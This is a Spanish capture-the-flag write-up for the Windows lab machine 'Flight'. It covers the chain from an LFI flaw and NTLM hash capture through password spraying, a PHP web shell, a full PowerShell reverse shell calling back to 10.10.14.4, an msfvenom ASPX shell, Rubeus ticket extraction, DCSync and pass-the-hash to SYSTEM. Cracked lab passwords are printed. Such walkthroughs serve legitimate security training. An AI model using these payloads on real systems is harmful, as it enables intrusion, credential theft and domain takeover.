Flight

Publicado: 25 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Hard OS: Windows
📝 Descripción
Flight es una máquina Windows de dificultad Hard que simula un entorno empresarial con Active Directory y servicios web. La explotación inicial se basa en explotar una vulnerabilidad de Local File Inclusion (LFI) en una aplicación web PHP para forzar autenticación NTLM y capturar hashes Net-NTLMv2. A través de técnicas de password spraying y escalada lateral, se obtiene acceso a múltiples cuentas hasta alcanzar privilegios de administrador mediante un ataque DCSync.
La máquina presenta múltiples vectores de ataque incluyendo enumeración de servicios SMB, explotación de aplicaciones web, captura de credenciales mediante archivos maliciosos, escalada de privilegios a través de cuentas de servicio IIS, y técnicas avanzadas de Active Directory como la delegación de tickets Kerberos.
📊 Resumen de la Explotación
🔗 Cadena de Ataque
graph TD
A[🔍 Reconocimiento inicial] --> B[🌐 Enumeración web]
B --> C[🔍 Descubrimiento de vhost school.flight.htb]
C --> D[💥 Explotación LFI via parámetro view]
D --> E[🔑 Captura hash Net-NTLMv2 svc_apache]
E --> F[🔓 Cracking offline → svc_apache:S@Ss!K@*t13]
F --> G[🔄 Password spraying → S.Moon reutiliza contraseña]
G --> H[📂 Acceso SMB con permisos de escritura]
H --> I[🎯 Archivo malicioso para capturar credenciales]
I --> J[🔑 Captura hash Net-NTLMv2 C.Bum]
J --> K[🔓 Cracking offline → C.Bum:Tikkycoll_431012284]
K --> L[🌐 Subida webshell en directorio /Web]
L --> M[💻 Reverse shell como svc_apache]
M --> N[🔄 Escalada lateral a C.Bum con RunasCs]
N --> O[🌐 Descubrimiento servicio interno puerto 8000]
O --> P[📂 Permisos escritura en C:\inetpub\development]
P --> Q[🔁 Shell como IIS APPPOOL\DefaultAppPool]
Q --> R[🎫 Extracción ticket Kerberos con Rubeus]
R --> S[⚡ Ataque DCSync para obtener hash Administrator]
S --> T[👑 Pass-the-Hash → Acceso como SYSTEM]
🎯 Puntos Clave
Vector inicial: Local File Inclusion (LFI) en aplicación web PHP
Técnica de captura: Forzar autenticación NTLM via UNC paths
Escalada lateral: Password spraying y reutilización de credenciales
Persistencia: Archivos maliciosos en recursos compartidos SMB
Escalada final: Abuso de cuenta de servicio IIS para DCSync
Técnicas AD: Delegación de tickets Kerberos y ataques DCSync
🔭 Reconocimiento
🏓 Ping para verificación en base a TTL
❯ ping -c2 10.10.11.187
PING 10.10.11.187 (10.10.11.187) 56(84) bytes of data.
64 bytes from 10.10.11.187: icmp_seq=1 ttl=127 time=42.5 ms
64 bytes from 10.10.11.187: icmp_seq=2 ttl=127 time=41.8 ms
--- 10.10.11.187 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1010ms
rtt min/avg/max/mdev = 41.794/42.148/42.503/0.354 ms
💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.
🚀 Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.187 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
53,80,88,135,139,389,445,464,593,636,3268,3269,9389,49667,49673,49674,49687,49695
🔍 Enumeración de servicios
nmap -sC -sV -p$ports 10.10.11.187 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-25 09:31 CEST
Nmap scan report for 10.10.11.187
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: g0 Aviation
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-25 14:31:27Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49687/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-06-25T14:32:19
|_ start_date: N/A
|_clock-skew: 7h00m01s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
⚠️ Añadimos el siguiente vhost a nuestro fichero /etc/hosts:
echo "10.10.11.187 flight.htb" | sudo tee -a /etc/hosts
📋 Análisis de Servicios Detectados
53
DNS
Servicio DNS del dominio
80
HTTP
Servidor web Apache con PHP
88
Kerberos
Autenticación del dominio
135
MSRPC
Llamadas a procedimientos remotos
139/445
SMB/NetBIOS
Recursos compartidos
389/636
LDAP/LDAPS
Directorio activo
🔥 Servicios críticos identificados:
SMB (445): Posible acceso a recursos compartidos
HTTP (80): Aplicación web con potencial para LFI/RFI
LDAP (389/636): Enumeración de usuarios del dominio
Kerberos (88): Ataques de autenticación
🌐 Enumeración de Servicios
🗂️ SMB (Puerto 445) - Acceso Inicial
Ya que no disponemos de credenciales, comenzamos tratando de enumerar sin éxito posibles recursos mediante una sesión nula:
smbclient -N -L //10.10.11.187
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.187 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
netexec smb 10.10.11.187 -u '' -p '' --shares
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\:
SMB 10.10.11.187 445 G0 [-] Error enumerating shares: STATUS_ACCESS_DENIED
🌐 HTTP (Puerto 80) - Aplicación Web Principal

whatweb -a 3 flight.htb
http://flight.htb [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1], IP[10.10.11.187], JQuery[1.4.2], OpenSSL[1.1.1m], PHP[8.1.1], Script[text/javascript], Title[g0 Aviation]
🔍 Fuzzing de directorios
dirsearch -u http://10.10.11.187 -x 503,404,403
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289
Target: http://10.10.11.187/
[09:37:41] Scanning:
[09:37:55] 200 - 1KB - /cgi-bin/printenv.pl
[09:37:56] 301 - 334B - /css -> http://10.10.11.187/css/
[09:38:00] 301 - 337B - /images -> http://10.10.11.187/images/
[09:38:00] 200 - 5KB - /images/
[09:38:01] 200 - 7KB - /index.html
[09:38:01] 301 - 333B - /js -> http://10.10.11.187/js/
[09:38:01] 200 - 3KB - /js/
Task Completed
No encontramos nada de utilidad que nos sirva como vía potencial de explotación.
🏗️ Fuzzing de vhosts
ffuf -u http://10.10.11.187 -H "Host: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -fs 7069
Encontramos un vhost que añadimos a nuestro scope y al fichero /etc/hosts.
school.flight.htb

whatweb -a 3 school.flight.htb
http://school.flight.htb [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1], IP[10.10.11.187], OpenSSL[1.1.1m], PHP[8.1.1], Title[Aviation School], X-Powered-By[PHP/8.1.1]
🔍 Fuzzing de directorios - school.flight.htb
dirsearch -u http://school.flight.htb -x 503,404,403
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289
Target: http://school.flight.htb/
[10:41:12] Scanning:
[10:41:18] 200 - 2KB - /about.html
[10:41:24] 200 - 2KB - /cgi-bin/printenv.pl
[10:41:28] 200 - 3KB - /home.html
[10:41:28] 301 - 347B - /images -> http://school.flight.htb/images/
[10:41:28] 200 - 4KB - /images/
[10:41:28] 200 - 4KB - /index.php
[10:41:29] 200 - 4KB - /index.pHp
[10:41:29] 200 - 4KB - /index.php.
[10:41:29] 200 - 4KB - /index.php/login/
[10:41:35] 301 - 347B - /styles -> http://school.flight.htb/styles/
💥 Explotación Initial - LFI
🔍 Descubrimiento del parámetro vulnerable
Revisando la sección /about
observamos un parámetro view
en la petición GET que parece mostrar el contenido de la página.
Este es un método antiguo utilizado por los desarrolladores web para mostrar el contenido de las páginas web. Al ver estas cosas, generalmente pienso en ataques transversales de ruta de directorio e inclusiones de archivos (LFI, RFI).
🧪 Testing de LFI
Nos creamos un pequeño script para automatizar algunos payloads para comprobar un posible LFI a través de este parámetro:
#!/bin/bash
URL="http://school.flight.htb/index.php?view="
TARGET="Windows/System32/drivers/etc/hosts"
# Lista de payloads con variantes de bypass
payloads=(
"../../../../$TARGET"
"..%2f..%2f..%2f..%2f$TARGET"
"..%252f..%252f..%252f..%252f$TARGET"
"....//....//....//$TARGET"
"..\/..\/..\/..\/$TARGET"
"..\\..\\..\\..\\$TARGET"
"..%c0%af..%c0%af..%c0%af..%c0%af$TARGET"
"%2e%2e/%2e%2e/%2e%2e/%2e%2e/$TARGET"
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f$TARGET"
"$TARGET%00"
)
echo -e "\n[*] Iniciando escaneo LFI en $URL\n"
for payload in "${payloads[@]}"; do
echo "[+] Probando payload: $payload"
response=$(curl -s "${URL}${payload}")
# Comprobación de bloqueo
if echo "$response" | grep -q -Ei "Suspicious|Incident will be reported"; then
echo "[x] Bloqueado por WAF o filtro - 'Suspicious Activity Detected'"
# Comprobación de éxito probable
elif echo "$response" | grep -q -Ei "127\.|localhost|::1"; then
echo "[✔] Posible ÉXITO - contenido del archivo detectado"
else
echo "[ ] No se detectaron indicadores útiles"
fi
echo
sleep 1
done

🔒 Análisis del filtrado
Parece que hay algún tipo de filtrado implementado por el servidor. Probamos la petición con un recurso de la web, por ejemplo blog.html
:
curl -s 'http://school.flight.htb/index.php?view=blog.html'
Funciona correctamente. ¿Y si hacemos lo mismo con index.php
? Vemos que podemos ver el código que se se está aplicando para realizar el filtrado del parámetro:

if ((strpos(urldecode($_GET['view']),'..')!==false)||
(strpos(urldecode(strtolower($_GET['view'])),'filter')!==false)||
(strpos(urldecode($_GET['view']),'\\')!==false)||
(strpos(urldecode($_GET['view']),'htaccess')!==false)||
(strpos(urldecode($_GET['view']),'.shtml')!==false)
)
Por tanto, bloquea si detecta:
".."
→ prevención de path traversal básico"filter"
→ para evitar wrappers comophp://filter
"\\"
→ backslash típico de Windows"htaccess"
y".shtml"
→ protección contra archivos sensibles
🎯 Explotación via UNC Path
Si pensamos un poco fuera de la caja, debemos encontrar otra solución. De la enumeración anterior, ya sabemos que tenemos un host de Windows con SMB ejecutándose. ¿Qué pasa si le decimos al servidor web que se conecte a un recurso compartido en nuestra máquina?
Iniciamos nuestro servidor SMB:
impacket-smbserver smbShare $(pwd) -smb2support
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
Ahora tratamos de conectarnos al recurso compartido, usando doble slash //
en lugar de \\
ya que esta última está filtrada:
http://school.flight.htb/index.php?view=//10.10.14.4//smbShare/test
¡Éxito! Logramos un hash NTLMv2 del usuario svc_apache
:

🔓 Cracking del hash
hashcat -m 5600 -a 0 svc_apache_hash /usr/share/wordlists/rockyou.txt

Credenciales obtenidas: svc_apache:S@Ss!K@*t13
🔄 Escalada Lateral
📂 Enumeración de recursos compartidos
netexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --shares

👥 Enumeración de usuarios
netexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --rid-brute 2>/dev/null | awk -F '\\' '{print $2}' | grep 'SidTypeUser' | sed 's/ (SidTypeUser)//' > Users.txt

🔄 Password Spraying
Con la lista de usuarios obtenida, probamos a realizar Password Spraying de la contraseña que habíamos obtenido:
netexec smb 10.10.11.187 -u Users.txt -p 'S@Ss!K@*t13' --continue-on-success

¡Éxito! El usuario S.Moon
está reutilizando la misma contraseña.
Credencial obtenida: S.Moon:S@Ss!K@*t13
🎯 Ataque con archivos maliciosos
El usuario S.Moon tiene permisos de escritura en el recurso "Shared". Podemos crear archivos maliciosos para capturar más credenciales cuando otros usuarios los abran:
ntlm_theft --verbose --generate modern --server "10.10.14.4" --filename "important" -g all
Esto genera archivos maliciosos que fuerzan autenticación NTLM cuando son abiertos:


Subimos un archivo al directorio Shared:
A los pocos segundos recibimos un hash NTLMv2 del usuario
C.Bum
:

🔓 Cracking del segundo hash
hashcat -m 5600 -a 0 cbum_hash /usr/share/wordlists/rockyou.txt
Credencial obtenida:
C.Bum:Tikkycoll_431012284
Voy a descargarme todo el directorio C.Bum del recurso Users para analizarlo en mi host de ataque y ver si hay alguna vía potencial que nos permita escalar privilegios
smbclient //10.10.11.187/Users -U "C.Bum" -c "cd C.Bum; recurse ON; prompt OFF; mget *"

Nuevamente, tras revisar todo el árbol de directorios y archivos no encuentro nada de utilidad. Decido usar el collector bloodhound-python para importar los resultados en bloodhound y analizar posibles vías de escalada:
bloodhound-python -u 'C.Bum' -p 'Tikkycoll_431012284' -d flight.htb -c All --zip -ns 10.10.11.187
Una vez cargados los resultados en Bloodhound, veo que C.Bum pertenece al grupo WEBDEVS:

Quizás podemos intentar subir una webshell en el recurso compartido /Web. Usaremos una PHP cmd de http://revshells.com :
🌐 Acceso Web Shell
📂 Permisos de escritura Web
El usuario C.Bum tiene permisos de escritura sobre el recurso Web:
netexec smb 10.10.11.187 -u 'C.Bum' -p 'Tikkycoll_431012284' --shares

💻 Subida de Web Shell
Creamos una PHP web shell:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
Subimos la shell al directorio web:
smbclient //10.10.11.187/Web -U "C.Bum"
smb: \school.flight.htb\> put rev.php
🔄 Reverse Shell
Accedemos a la shell web: http://school.flight.htb/rev.php?cmd=whoami
Ejecutamos una reverse shell en PowerShell:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.4',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Ejecutamos en payload y ganamos acceso a la máquina como usuario svc_apache:

Comienzo a enumerar la máquina hasta descubrir que en C:\inetpub\development hay otra aplicación que podría estar ejecutándose de forma local. Si revisamos los puertos y servicios en la máquina:

🔝 Escalada de Privilegios
🔍 Descubrimiento de servicio interno
Enumerando la máquina, descubrimos que en C:\inetpub\development
hay otra aplicación ejecutándose localmente en el puerto 8000:
netstat -ano | Select-String "LISTENING"

🔗 Port Forwarding con Chisel
./chisel server --reverse --port 9003
chisel.exe client 10.10.14.4:9003 R:8000:127.0.0.1:8000

Realicé un fuzzing de directorios y archivos. Al intentar acceder a /robots.txt, descubrí que el servidor busca el archivo en la carpeta C:\inetpub\development, que parece ser su raíz web.

Si usamos icacls para revisar los permisos sobre el directorio Development en C:\inetpub vemos que el usuario C.Bum tiene permisos de escritura en él.
🔐 Análisis de permisos
Verificamos permisos sobre el directorio development:
icacls development
development flight\C.Bum:(OI)(CI)(W)
¡El usuario C.Bum tiene permisos de escritura!
🚀 Escalada a C.Bum
Esto nos abre una vía potencial para poder subir aquí una reverse shell ganar acceso y movernos lateralmente. Primero necesitamos ganar una shell como C.Bum, para ello podemos usar https://github.com/antonioCoco/RunasCs
Una vez transferida a la máquina, como tenemos las credenciales la ejecutamos de la siguiente forma: Usamos RunasCs para ejecutar comandos como C.Bum:
.\RunasCs.exe c.bum Tikkycoll_431012284 cmd.exe -r 10.10.14.4:4444
💻 Shell como IIS APPPOOL
Generamos una reverse shell ASPX:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.4 LPORT=443 -a x64 -f aspx > shell.aspx
La transferimos al directorio development y la ejecutamos via web, obteniendo una shell como IIS APPPOOL\DefaultAppPool
.

👑 Escalada Final - DCSync Attack
🎫 Extracción de ticket Kerberos
Como cuenta de servicio IIS, podemos autenticarnos como la cuenta de máquina. Usamos Rubeus para extraer un ticket:
.\rubeus.exe tgtdeleg /nowrap
![[40.png]]
🔄 Conversión del ticket
Convertimos el ticket de formato kirbi a ccache:
python3 kirbi2ccache.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
⚡ Ataque DCSync
Sincronizamos el reloj y ejecutamos DCSync:
sudo ntpdate -s flight.htb && impacket-secretsdump -k -no-pass g0.flight.htb -just-dc-user administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
🏆 Pass-the-Hash
Finalmente, usamos el hash para obtener acceso como Administrator:
impacket-psexec -hashes :<REDACTED> Administrator@10.10.11.187
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
🏁 Flags Capturadas
👤 User Flag
C:\Users\C.Bum\Desktop> type user.txt
[USER_FLAG]
👑 Root Flag
C:\Users\Administrator\Desktop> type root.txt
[ROOT_FLAG]
Last updated